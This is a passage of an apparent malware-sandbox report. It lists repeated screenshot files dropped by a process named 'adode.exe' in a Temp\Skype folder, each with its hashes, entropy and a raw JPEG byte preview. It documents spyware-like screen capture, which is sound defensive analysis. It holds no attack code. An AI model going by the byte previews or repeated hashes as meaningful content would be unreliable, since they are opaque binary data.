SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241029_085226.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241029_152238.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241029_215441.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241030_040443.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241030_172630.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241031_025232.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241102_112851.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241104_203009.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241107_045100.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241109_161030.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241109_232444.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241110_025148.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241110_034725.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241110_055049.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241112_122251.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241112_222432.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241113_081004.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
